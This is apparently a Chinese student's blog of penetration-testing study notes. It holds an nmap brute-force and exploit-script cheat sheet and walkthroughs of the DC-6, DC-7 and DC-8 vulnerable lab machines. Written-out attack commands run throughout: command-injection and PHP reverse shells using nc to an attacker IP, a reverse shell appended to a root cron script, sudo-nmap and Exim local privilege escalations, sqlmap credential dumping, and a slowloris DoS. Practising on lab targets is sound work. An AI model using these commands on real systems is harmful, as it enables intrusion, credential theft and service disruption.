nmap –script=smb-brute.nse -p445 192.168.137.4

smb字典破解
nmap –script=smb-brute.nse –script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4

smb已知几个严重漏
nmap –script=smb-check-vulns.nse –script-args=unsafe=1 192.168.137.4

查看共享目录
nmap -p 445 –script smb-ls –script-args ‘share=e$,path=\,smbuser=test,smbpass=test’ 192.168.137.4

smb-psexec: 用登陆凭据作为脚本参数,在目标机器上运行一系列程序(注:需要下载nmap_service)
nmap –script smb-psexec.nse –script-args=smbuser=,smbpass=[,config=] -p445

查看会话
nmap -n -p445 –script=smb-enum-sessions.nse –script-args=smbuser=test,smbpass=test 192.168.137.4

系统信息
nmap -n -p445 –script=smb-os-discovery.nse –script-args=smbuser=test,smbpass=test 192.168.137.4

Mssql扫描:
猜解mssql用户名和密码
nmap -p1433 –script=ms-sql-brute –script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4

xp_cmdshell 执行命令
nmap -p 1433 –script ms-sql-xp-cmdshell –script-args mssql.username=sa,mssql.password=sa,ms-sql-xp-cmdshell.cmd=”net user” 192.168.137.4

dumphash值
nmap -p 1433 –script ms-sql-dump-hashes.nse –script-args mssql.username=sa,mssql.password=sa 192.168.137.4

Mysql扫描:
检查mysql空密码
nmap -p 3306 –script=mysql-empty-password.nse 192.168.1.114

如果没有空密码,则可以使用自带的暴力破解功能尝试破解
nmap -p 3306 –script=mysql-brute.nse 192.168.1.114

如果知道了用户名与密码,可以枚举数据库中的用户
nmap -p 3306 –script=mysql-users.nse –script-args=mysqluser=root 192.168.1.114

枚举mysql用户信息
nmap -p 3306 –script=mysql-enum.nse 192.168.1.114

支持同一应用的所有脚本扫描
nmap –script=mysql-* 192.168.137.4

Oracle扫描:
oracle sid扫描
nmap –script=oracle-sid-brute -p 1521-1560 192.168.137.5

oracle弱口令破解
nmap –script oracle-brute -p 1521 –script-args oracle-brute.sid=ORCL,userdb=/var/passwd,passdb=/var/passwd 192.168.137.5

其他一些比较好用的脚本
nmap –script=broadcast-netbios-master-browser 192.168.137.4 发现网关
nmap -p 873 –script rsync-brute –script-args ‘rsync-brute.module=www’ 192.168.137.4 破解rsync
nmap –script informix-brute -p 9088 192.168.137.4 informix数据库破解
nmap -p 5432 –script pgsql-brute 192.168.137.4 pgsql破解
nmap -sU –script snmp-brute 192.168.137.4 snmp破解
nmap -sV –script=telnet-brute 192.168.137.4 telnet破解
nmap –script=http-vuln-cve2010-0738 –script-args ‘http-vuln-cve2010-0738.paths={/path1/,/path2/}’ jboss autopwn
nmap –script=http-methods.nse 192.168.137.4 检查http方法
nmap –script http-slowloris –max-parallelism 400 192.168.137.4 dos攻击,对于处理能力较小的站点还挺好用的 ‘half-HTTP’ connections
nmap –script=samba-vuln-cve-2012-1182 -p 139 192.168.137.4

不靠谱的脚本:
vnc-brute 次数多了会禁止连接
pcanywhere-brute 同上

Wpscan:

WPScan是Kali Linux默认自带的一款漏洞扫描工具,它采用Ruby编写,能够扫描WordPress网站中的多种安全漏洞,其中包括主题漏洞、插件漏洞和WordPress本身的漏洞。最新版本WPScan的数据库中包含超过18000种插件漏洞和2600种主题漏洞,并且支持最新版本的WordPress。值得注意的是,它不仅能够扫描类似robots.txt这样的敏感文件,而且还能够检测当前已启用的插件和其他功能。但是我看到说国外的wordpress禁止该工具扫。

linux下的提权

1
2
3
4
5
系统内核是什么?
shell又是啥?shell与内核又是啥关系?
bash是linux下的啥?
为啥可以用于提权?
linux提权是啥?
系统内核

是一个操作系统的核心。 是基于硬件的第一层软件扩充,提供操作系统的最基本的功能,是操作系统工作的基础,它负责管理系统的进程、内存、设备驱动程序、文件和网络系统,决定着系统**的性能和稳定性。

shell是啥?

shell是操纵系统的外壳,用于外界使用操作系统的接口用户和Linux内核之间的接口程序,与linux沟通的桥梁,命令语言、命令解释程序及程序设计语言的统称。shell有很多种:sh,bash,csh,ksh,zsh。shell语法理解干活满满。

shell与内核关系:

image-20211213110511456

bash是啥?

是linux默认的标准shell,也是linux上常见的shell脚本解释器;脚本解释器?脚本语言就是用脚本解释器,JS,py,php都是捏,也叫做解释型语言,像C#,C++就是编译型语言。pycharm般的存在。很多种用途,看了一遍很懵,过几天再看看。

后续完善,带着问题继续探究


DC-6实操

1
2
3
4
正常走步骤, 设置靶机为NAT模式,扫描网段存活主机:arp-scan -l
发现192.168.136.136
nmap -sV 192.168.136.136 //可以发现80与22端口开,很显然,又是进去之后再ssh另外一个user然后花样提权
点击发现根本就没有回显啊!但是却ping得通(当主机是使用linux时,ping得TTL<68还是多少,如果是windows的话是TTL>120,有待精确)

image-20211212233556710

然后我再ping,发现根本就是说本地解析出了问题

image-20211212233709836

1
2
找教程,你妈妈的,结果说是修改hosts文件,很多时候我都是懵逼的关于linux文件目录。于是我按照修改:
vim /etc/hosts

image-20211212233134958

1
2
然后就打开了,emm这个ip转到wordy这个url,但是这个url解析得到的ip却不是靶机(计网没学好,我是这么理解的)
访问后,一点头绪都没,胡乱点,

image-20211212233818841

1
经过提示,下标瞩目

image-20211212233912911

1
2
3
worldpress = wpscan ,听说这个太厉害,国外很多wp站都搞了防火墙防扫了
遂查找使用方法,wpscan --url http://wordy/ -e u //后门两个参数参考前置知识,e:枚举,u:usename,这个url可不是ip!
好的,得到这几个b

image-20211212234544270

1
2
翻了翻网站,也没有地方登录啊!才想起来,信息收集还没子域名爆破,果断:
dirb http://192.168.136.136 //当然url也可

image-20211212235226870

1
来到后台管理,又开始拼字典咯

image-20211212235337654

1
2
爆破每一个b,得到mark爆出密码:helpdesk01
好的,咱就是一整个进去了

image-20211212235507295

1
2
3
仍然没有头绪,看了教程:插件漏洞!Activity monitor远程执行漏洞
对于漏洞,可以使用kali的漏洞库查一下:
searchsploit ~

image-20211212235652587

1
2
cp 到桌面或者你待会找得到的地方,然后vi/vim/cat:这个漏洞是过滤不严格,在tools模块下,提交表单的地方可以输入高权限命令
127.0.0.1 | ls //然后点击look up而不死convert

image-20211213100758939

1
素质三连到时候,发现限制了长度,那就抓包,kali自带bp,所以可以直接使用

image-20211213101021515

1
2
参考漏洞说明,直接反弹shell
漏洞库等在 /usr/share/exploitdb/ 下,好好看看以后

image-20211213101643970

1
2
那就直接在bp反弹:
127.0.0.1 | nc -e /bin/bash 192.168.136.128 666

image-20211213101858671

1
2
3
很好很好,这次一次就成功,之前那几次应该也是成功了,只是我眼瞎,把connect看作connecting
得到shell后,设置一个交互式的shell,好看
python -c 'import pty; pty.spawn("/bin/bash")'

image-20211213102023830

1
2
3
4
5
开始后渗透
那么进去之后,我还是懵,因为真的不懂该怎么办。我现在的权限是什么?
sudo -l //一无所获
cd /root //不出意外的被denied
cd /home //做出规律了,这里开始有信息了!

image-20211213102409275

1
2
things-to-do.txt下有账号密码!之前不是开了ssh端口吗?
ssh graham@192.168.136.136

image-20211213102701688

1
2
好的,进来了,但是不懂我还是不懂这个权限啊!
sudo -l //发现一个可以.sh文件,在jens可以无密码执行

image-20211213102812824

1
2
3
又不会了,看教程
vi backups.sh
!vi进去,关于shell文件,一定要在顶部写 #!/bin/bash或者#!/bin/sh声明使用何种脚本解释器,这里是.sh文件,我忘了一开始进去是啥,好像是bash,改了执行,才会生成root.nse脚本

image-20211213113015711

1
2
3
写入的 os.execute("/bin/bash")	//os.execute()用于执行命令。
os.execute()使用,例如下面的两者是等价的Lua:os.execute ("pause") <==>c语言:system("pause"),可以用于执行shell命令,
/bin/bash:此脚本使用/bin/bash解释器执行

image-20211213113132654

1
2
3
4
开始提权,两步提权,第一步使用jens下的无密码执行脚本,第二步从jens到root,原理未知
第一步:sudo -u jens /home/jens/backups.sh //-u参数以u用户操作文件,这也是sudo -l得知
第二步:sudo nmap -script=root.nse
该命令行以root权限执行

image-20211213120915009

1
2
3
4
5
完成
疑问?
为什么nmap使用脚本os.execute("/bin/bash")就可以获得shell?/bin/bash不是使用bash来解释shell吗?那为什么执行/bin/bash就可以得到shell?
初步查阅:
/bin/bash只可以在root下执行,那么当我使用脚本执行了/bin/bash,那我是不是就进入了root?有点怪

学到了啥?

对于bash提权有一定了解,对于kali工具使用更加熟练,nmap的使用更加全面;linux命令更加得心应手;对于linux系统的shell模块初步了解;反弹shell更加熟练;linux文件系统中各文件位置的了解(/usr/share/攻击模块exploitdb)

DC-7

前置知识

GPG加密软件的识别:后缀为.gpg

ls命令的高级使用

drush的简单使用

代表权限的字母:x:可执行文件

sed命令删除文件中指定数据

echo写入

DC-7实操

1
2
3
4
arp-scan -l	//扫描网段内存货ip
得到192.168.136.137
nump -sC 192~ //得到开启22与80,-sC:使用默认脚本扫描,蛮不错的,当然也可以使用"-T4 -A"这种全面扫
知道这是drupal,之前有做过,是使用msf来做的(DC-1),这里取个巧,太懒了,只是单纯的searchsploit一下就去看教程了

image-20211213135758187

卧槽,我果断放弃。看教程,谁知道他直接从footer中搜索@的东西,就出来了username和password,回想到nmap的结果:开启22端口,直接ssh连

image-20211213135909166

好的,很好,然后我不知道要干啥了;

1
2
ls	//又有一个backups文件但不是脚本。那就去看看mbox
cat mbox //出现这个

image-20211214133449547

可以很直观的发现,这个是在定期执行什么,仔细看一下后,发现这玩意居然是root权限 from root by dc-7 with local (Exim 4.89),在这里进行操作Subject: Cron <root@dc-7> /opt/scripts/backups.sh

1
2
很好,很好,那就去这个目录下看看到底是什么脚本执行了这个操作
cd /opt/scripts

image-20211214145025126

1
2
3
4
oh,shit,是你!就是你使用root权限是吧,敢使用root权限,在我DC系列你就必须给我发shell!
那怎么写入nc反弹呢?
我chao,我先看看我又没有权限写呢?
ls -l //很好,跟我dc7user一点关系都没有

image-20211214151341677

1
不死心,发现必须死心!(>人<;)(>人<;)

image-20211214153500714

1
2
3
4
5
6
7
咋办,我怎么拿到www-data!
继续去网页点点点!log in!
我发现我没有密码!
但是我又发现Drupal可以改密码!但是在哪个目录下改呢?
通过茶查阅!在/www/html下,我火速cd到,然后搜索drush命令的使用!
cd /var/www/html
drush user-password admin --password="123456"

image-20211214151645156

1
很好很好,那就现在去登录!

image-20211214151809316

1
那接下来呢?点点点!找写入地方或者找上传文件的地方!

找到一个

image-20211214152233021

找到写入,就写入一句话木马然后拿shell工具连,要么就反弹shell到本机:

1
2
3
4
5
6
这里我反弹,但是这个页面不具备解释php的功能,需要安装插件
刚好发现有一个 extend 模块
但是却没有php拓展捏,无奈,看了看 教程因为不知道下载什么版本的php
URL:http://drupal.org/project/php.
URL:https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
直接丢进网址栏即可

image-20211214152550798

1
2
3
4
5
但是我不行,很奇怪,很难受,迷茫了一阵,但是仔细一想,我好像不太尊重那个Or
到物理机下载好之后,就拖进来加载就ok了,然后需要在extend打开即可(记得点开之后点最下面的install)
然后就好了,可以去界面选择代码使用php解释!
写入精心构造的弹弹弹,有点小忘php
<?php system('nc -e /bin/bash 192.168.136.128 666')?>

image-20211214152758073

1
2
3
点击save
本地虚拟机开启 nc -lvnp 666 监听
然后浏览器访问修改后的界面

image-20211214153009909

很好很好

1
2
3
python -c 'import pty; pty.spawn("/bin/bash")'		//交互式shell
cd /opt/scripts
好了,测试权限!

image-20211214153654358

没拒绝!

1
2
3
写入反弹语句:
echo 'nc -e 192.168.136.128 666'>>/opt/scripts.backups.sh
cat backups.sh

额emmm其实这里我一开始写错了,后面想用sed命令删除,没有权限;我没测试过这个脚本的执行规则,所以就g了。没监听到(⊙﹏⊙)

1
正常来说,开启监听后,等待脚本执行即可,然后就去几个目录看看就看到flag了

哈哈,弹回来了!规则就是都会执行!

image-20211214155144077

学到了啥?

1
2
3
4
5
6
7
学到了22端口开启就可以干坏事
学到了drupal的管理员命令
学到了echo写入反弹语句的妙用
学到了进到主机后,一定要养成随手查看权限的好习惯
学到了php写入网页反弹
加深nmap的使用,-T4 -A就很棒,不用再去看其他牛马参数!
最最最主要的是我学会看提示以及看关键信息了

结束

DC-8

前置知识

sqlmap使用

了解最基础命令,这次已经初步了解,期待下次使用sqlmap

john解密

john直接调用

1
john 文档.txt

信息收集的流程

除了端口扫描,ping检测,cdn检测,子域名检测,网站目录爆破,中间件信息收集,网页记得查看禁了什么robots.txt

nc小小军刀

netcat,网络工具,网络上读、写以及重定向数据,由于它能创建任意所需的连接,因此也是一个很好的网络调试工具。

1
-l 开启监听模式,实现任意 TCP/UDP 端口的侦听,nc 可以作为 server 以 TCP 或 UDP 方式侦听指定端口

suid提权

1
2
3
4
5
文件权限基础知识
suid是什么?sgid又是啥?
suid提权是啥?
如何提权?
shell重定向

文件权限基础

image-20211214190814554

SUID和SGID:

suid:查看权限,属主权限的x权限变成了s,这就是suid,如图

image-20211215225933686

特点是:

  • suid权限仅仅作用于二进制文件
  • 执行者若拥有该二进制文件的x权限,那么执行者具有该文件属主(root或其他)的权限(提权原理)
  • 仅仅只是在执行该文件时具有属主权限

sgid:属组权限的s权限变成了x:

image-20211215225956141

看网址!

suid提权

将文件设置我suid权限,就可以获得root文件,如果这个文件不属于root就不行啦!

如何提权?
1
2
3
find提权
设置suid权限
通过获得root权限,写后门或者一句话

> 是shell重定向

find提权以及常用参数详解

find专门查找参考

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
语法:find [path…] [expression]
path为查找路径,.为当前路径,/为根目录
expression即为参数
-name: 按文件名查找文件
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user: 按照文件属主来查找
-size n: 文件大小是n个单位

-type:
d:目录
f:文件
c:字符设备文件
b:块设备文件

-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录
-amin n: 查找系统最后n分钟内曾被存取过的文件或目录
-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录
-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录
-print: 将匹配的文件输出到标准输出
-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。

语法:find [path…] [expression]
path为查找路径,.为当前路径,/为根目录
expression即为参数
-name: 按文件名查找文件
-perm: 按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user: 按照文件属主来查找
-size n: 文件大小是n个单位
-type:
d:目录
f:文件
c:字符设备文件
b:块设备文件
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录
-amin n: 查找系统最后n分钟内曾被存取过的文件或目录
-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录
-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录
-print: 将匹配的文件输出到标准输出
-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和\;之间的空格。

DC-8实操

1
2
arp-scan -l
nmap -T4 -A 192.168.136.132 //22又开了。。

image-20211214162042841

1
登录网站,熟悉的Drupal,那这次是什么呢?

image-20211214162459803

1
太好了,有机会跑sqlmap了,一直不是很会用
1
2
测试!
小迪说过首先是随便输入一些字符在参数后面,要是页面回显报错,那就是代入到查询语句了!

测试成功,会代入查询

image-20211214164716179

开始进行注入测试:and大法

1
and 1=1

image-20211214164748264

1
and 1=2

image-20211214164812837

1
2
3
4
5
6
脏字符测试: 1'			
注入点!
开始sqlmap!
sqlmap -u "http://192.168.136.132/?nid=1" //寻找注入点
sqlmap -u "http://192.168.136.132/?nid=1" --dbs //爆库名:得到d7db
sqlmap -u "http://192.168.136.132/?nid=1" -D d7db --tables //爆表:得到

image-20211214231434611

1
sqlmap -u "http://192.168.136.132/?nid=1" -D d7db -T users --columns

image-20211214231621771

1
sqlmap -u "http://192.168.136.132/?nid=1" -D d7db -T users -C login,name,pass -dump		//dump说是保存回显消息啥的,再看看,不加又不行

image-20211214231758817

1
2
3
有印象,要用john爆破
保存密码到文档,直接当前目录调用john即可
密码是:turtle

image-20211214232331951

1
2
得到帐号和密码可以,现在需要找到登陆界面,一般来说,robots.txt会有,或者dirb爆破,7kbscan爆破或者ibm都可以
robots.txt得到/usr/login或者?q=xxxx/login的我忘记了

image-20211215170021706

1
2
3
进去之后,点点点
其实还是没点出来,直接去看教程了
下图所示

image-20211215170228414

1
2
3
4
经典一句话,system()与os.execute()一样的,都是高权限执行命令
写完后,拉到最下面,点击保存,然后回去
nc -lvnp 666 //开启监听
然后把contact us界面提交一次,随便写,即可获得shell

image-20211215171739528

1
2
3
python -c 'import pty; pty.spawn("/bin/bash")'  获取交互式shell
没有任何思路,看教程,哦豁,去找了有suid权限的文件,使用find
find / -user root -perm -4000 -print 2>/dev/null

image-20211215172848968

find知识补充:

/代表从根目录查找

-user 寻找属主是root权限的文件

-perm 4000符合权限:suid 4000 权限字符s(S),用户位置上的x位上设置。

1
2
3
4
不知道需要做什么,积累太少了,啥也不知道。看教程!
发现 exim 4,这也就是一个队列的全局变量,可以用于邮件实现一些功能,是一个命令,是一个文件,那就看看这有没有漏洞
/usr/sbin/exim4 --version //查看版本
searchsploit exim 4

image-20211215230711101

image-20211215231129734

一看,哦豁 rce,但是时local还是remote呢?不懂啊,看教程说是local。。。

image-20211215231456758

去看看这个利用先

1
2
3
cd /usr/share/exploitdb/exploits/Linux/local/
cat 46996.sh
发现这个有很多种使用方法,但我的目的时连上root的shell,直接找我会的,netcat!

image-20211215231901793

1
2
其实看了也还是不懂怎么用,.sh的文件,bash的解释器
看了看,发现看错地方,要看usage你妈妈!

image-20211215232152119

1
2
3
4
./46996.sh xxxxxxx
那我的脚本是本地的,只能wget过去
cp到我本地虚拟机的apache2目录下:/var/www/html
cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh

image-20211215232431372

1
2
3
开启本地网络服务:
service apache2 start
service apache2 statue //查看状态
1
2
3
在靶机shell中,tmp目录中,这个目录由于每次关机都会清除数据,权限高,wget到其他的文件夹都会显示denied
cd /tmp
wget http://192.168.136.128/46996.sh

image-20211215232820567

1
2
3
开始利用
chmod 777 46996.sh
./46996.sh -m netcat //为啥不用写端口捏?因为是local,里面指定127.0.0.1 31337了

image-20211215233134598

1
2
3
4
5
6
7
很好,很好,root来了
加个交互式shell,加不上,g
ls //没有flag
cd /home //没有flag
cd root //当初能打出这个我也是牛逼
cd /root
ls //flag.txt

image-20211215234302946

结束

思考?

要是不开这个邮件文件服务exim 4,那不是就g了?但是转念一想,我们的getshell机会就是遇到这种不经意的权限下放,suid文件的提权。那么如何防护suid提权?那就是将文件权限死死拿住,不给除了属主外的用户更改任何权限!

学到了啥?

1
2
3
4
5
6
学到了suid权限以及提权
sqlmap的入门使用
复习了john暴力解码
再次了解文件权限格式
了解nc的用途
回顾信息搜集流程
  • DC完结!

本博客所有文章除特别声明外,均采用CC BY-SA 4.0 协议 ,转载请注明出处!

...

...

00:00
00:00